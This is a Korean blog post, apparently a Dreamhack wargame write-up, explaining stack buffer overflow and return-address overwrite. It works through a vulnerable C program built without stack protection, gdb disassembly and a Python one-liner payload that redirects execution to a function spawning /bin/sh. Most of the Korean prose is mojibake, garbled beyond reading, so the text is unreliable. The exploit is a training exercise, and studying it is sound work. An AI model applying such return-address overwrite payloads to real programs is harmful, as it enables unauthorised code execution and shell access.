์คํ ์ค๋ฒํ๋ก์ฐ VS ์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ
์คํ ์ค๋ฒํ๋ก์ฐ : ์คํ์์ญ์ด ๋๋ฌด ๋ง์ด ํ์ฅ๋ผ์ ๋ฐ์ํ๋ ๋ฒ๊ทธ
์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ : ์คํ์ ์์นํ ๋ฒํผ์ ๋ฒํผ์ ํฌ๊ธฐ๋ณด๋ค ๋ง์ ๋ฐ์ดํฐ๊ฐ ์ ๋ ฅ๋์ด ๋ฐ์ํ๋ ๋ฒ๊ทธ (์คํ์ ๋ฒํผ์์ ๋ฐ์ํ๋ ์ค๋ฒํ๋ก์ฐ)
๋ฒํผ(buffer)๋? ๋ฐ์ดํฐ๊ฐ ๋ชฉ์ ์ง๋ก ์ด๋๋๊ธฐ ์ ์ ๋ณด๊ด๋๋ ์์ ์ ์ฅ์
์คํ ๋ฒํผ : ์คํ์ ์๋ ์ง์ญ๋ณ์
ํ ๋ฒํผ : ํ์ ํ ๋น๋ ๋ฉ๋ชจ๋ฆฌ ์์ญ
Ex1) ๋ฐ์ดํฐ ๋ณ์กฐ
- ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ก ์ธํด ๋ค์ ๋ฐ์ดํฐ ๊ฐ์ ๋ณ์กฐ์ํฌ ์ ์๋ค.
Ex2) ๋ฐ์ดํฐ ์ ์ถ
c์ธ์ด์์ ๋ฌธ์์ด์ ๋์ null๋ก ์ธ์ํ๋๋ฐ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ฅผ ํตํด null์ ์์ ์ฃผ๋ฉด ๋ค์ ๋ฐ์ดํฐ๊น์ง ํจ๊ป ์ฝ๋ ๊ฒ์ด ๊ฐ๋ฅํด์ง๋ค.
Ex3) ์คํํ๋ฆ์กฐ์
์๋ฅผ ๋ค๋ฉด ํจ์์ ret์ ์์ ์ด ์คํํ๊ณ ์ถ์ ๋ช ๋ น์ด๊ฐ ์กด์ฌํ๋ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์๋ก ๋ฎ์ด์์ฐ๋ฉด ์คํํ๋ฆ์กฐ์์ด ๊ฐ๋ฅํ๋ค.
์ทจ์ฝ์ ๋ถ์!!!
-scanf("%s",buf) ํจ์์ ํฌ๋งท ์คํธ๋ฆผ์ค ํ๋์ธ %s๋ ๋ฌธ์์ด ์ ๋ ฅ์ ์ฌ์ฉํ๋ฉฐ, ์ ๋ ฅ์ ๊ธธ์ด๋ฅผ ์ ํํ์ง ์๋๋ค.
๊ณต๋ฐฑ๋ฌธ์์ธ ๋์ด์ฐ๊ธฐ, ํญ, ๊ฐํ๋ฌธ์๊ฐ ๋ค์ด์ฌ๋๊น์ง ๊ณ์ ์ ๋ ฅ์ ๋ฐ๋๋ค.
---> ์ ์์ ์ผ๋ก ๋ฒํผ์ ํฌ๊ธฐ๋ณด๋ค ํฐ ๋ฐ์ดํฐ๋ฅผ ์ ๋ ฅํ๋ฉด ์ค๋ฒํ๋ก์ฐ๊ฐ ๋ฐ์ํ ์ ์๋ค.
๋ฐ๋ผ์ scanf์ %s ํฌ๋งท์ ์ฌ์ฉํ์ง ๋ง์์ผ ํ๋ฉฐ ์ ํํ n๊ฐ์ ๋ฌธ์๋ง ์ ๋ ฅ์ ๋ฐ๋ "%[n]s"์ ํํ๋ก ์ฌ์ฉํด์ผํ๋ค.
๋ฌธ์์ด์ ์ฌ์ฉํ ๋๋ ๋ฐ๋์ ํด๋น ๋ฌธ์์ด์ด ๋๋ฐ์ดํธ๋ก ์ข ๊ฒฐ๋๋์ง ํ์ธํด์ผ ํ๋ค. (index out of bound๋ฅผ ๋ง๊ธฐ ์ํด)
์ด๋ฟ๋ง ์๋๋ผ, ๋ฒํผ๋ฅผ ์ฌ์ฉํ๋ฉด์ ๊ธธ์ด๋ฅผ ์ ๋ ฅํ์ง ์๋ ํจ์๋ค์ ๋๋ถ๋ถ ์ํํ๋ค.
(strcpy, strcat, sprintf)
๋น์ ์์ ์ผ๋ก ๊ธด ์ ๋ ฅ์ ์ค ๊ฒฝ์ฐ segmentation fault ์๋ฌ๊ฐ ์ถ๋ ฅ๋๋ค. (์๋ชป๋ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์์ ์ ๊ทผํ๋ค๋ ์๋ฏธ)
Segmentation fault (core dumped) // core dumped ๋ ๋๋ฒ๊น
์ ๋๊ธฐ ์ํด ๋ฆฌ๋
์ค๊ฐ ์์ฑํด์ฃผ๋ ์ฝ์ด ํ์ผ
gdb -c core // gdb์์ ์ฝ์ดํ์ผ ๋๋ฒ๊น
๊ฐ๋ฅ
์คํ๋ฒํผ์ ์ค๋ฒํ๋ก์ฐ๋ฅผ ๋ฐ์์์ผ์ ๋ฐํ์ฃผ์๋ฅผ ๋ฎ์ผ๋ ค๋ฉด, ํด๋น ๋ฒํผ๊ฐ ์คํํ๋ ์์ ์ด๋์ ์์นํ๋์ง ์กฐ์ฌํด์ผํ๋ค.
[๊ณต๊ฒฉํ c ํ์ผ]
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
[scanf์ ์ด์ ๋ธ๋ฆฌ ์ฝ๋]
0x4005fe <main+25> lea rax, [rbp - 0x30]
0x400602 <main+29> mov rsi, rax
0x400605 <main+32> lea rdi, [rip + 0xa8] #0x4006b4
0x40060c <main+39> mov eax, 0
โบ 0x400611 <main+44> call __isoc99_scanf@plt <__isoc99_scanf@plt>
--> scaf("%s",rbp-0x30)
์ ๋ ฅํ ๋ฒํผ์ ๋ฐํ ์ฃผ์ ์ฌ์ด์ ๊ฑฐ๋ฆฌ๋งํผ์ ์ฐ๋ ๊ธฐ ๊ฐ์ผ๋ก ์ฑ์ฐ๊ณ ๊ทธ ์ดํ์ ์กฐ์ํ ๋ช ๋ น์ด ์ฃผ์๋ก ret๋ฅผ ๋ฎ์ด์์ฐ๋ฉด ๋๋ค!!
+) ํ์ด์ฌ ๊ณต๊ฒฉ ์ฝ๋ ์์ฑ๋ฒ
python -c 'print("......................")'; cat) | ./"์คํํ์ผ๋ช "
(๋ฌธ์ ํ์ด)
1. rbp-0x30 ์ scanf๋ก ๋ฌธ์์ด์ ๋ฐ๋๋ค๋ ๊ฒ์ ํ์ธ
2. rbp+0x8 (rip) ์ return address ์ ์ฅ๋์ด์์
3. get_shell์ ์ฃผ์ ์์๋ด์ ๋ฆฌํ์๋์ ๋ฐฉ์์ผ๋ก ๊ณ ์น๋ค.
(python -c "print('A'*0x30 + 'B'*0x8 + '\xdd\x11\x40\x00\x00\x00\x00\x00')";cat)| ./"rao"
+) ์ฃผ์ํด์ผํ ๊ฒ
- null byte overflow๋ฅผ ๋ง๊ธฐ ์ํด์๋ ๋ฒํผ์ ํฌ๊ธฐ๋ณด๋ค ์ต์ 1byte ์๊ฒ ์ ๋ ฅ์ ๋ฐ์์ผ ํ๋ค.!!!
[์ถ์ฒ]
dreamhack ์ฌ์ดํธ
https://ccurity.tistory.com/229 [์ด๊ณตํ๋๋ฒ ์งฑ์ด]
'Hacking > System Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[dreamhack] basic_exploitation_000 ๋ฌธ์ ํ์ด (0) | 2022.04.01 |
---|---|
[dreamhack] Return Address Overwrite ํ์ด (0) | 2022.03.31 |
Shellcode ๋? (0) | 2022.03.30 |
pwntools ์ฌ์ฉ๋ฒ (0) | 2022.03.28 |
gdb ์ฌ์ฉ๋ฒ ์ตํ๊ธฐ (0) | 2022.03.28 |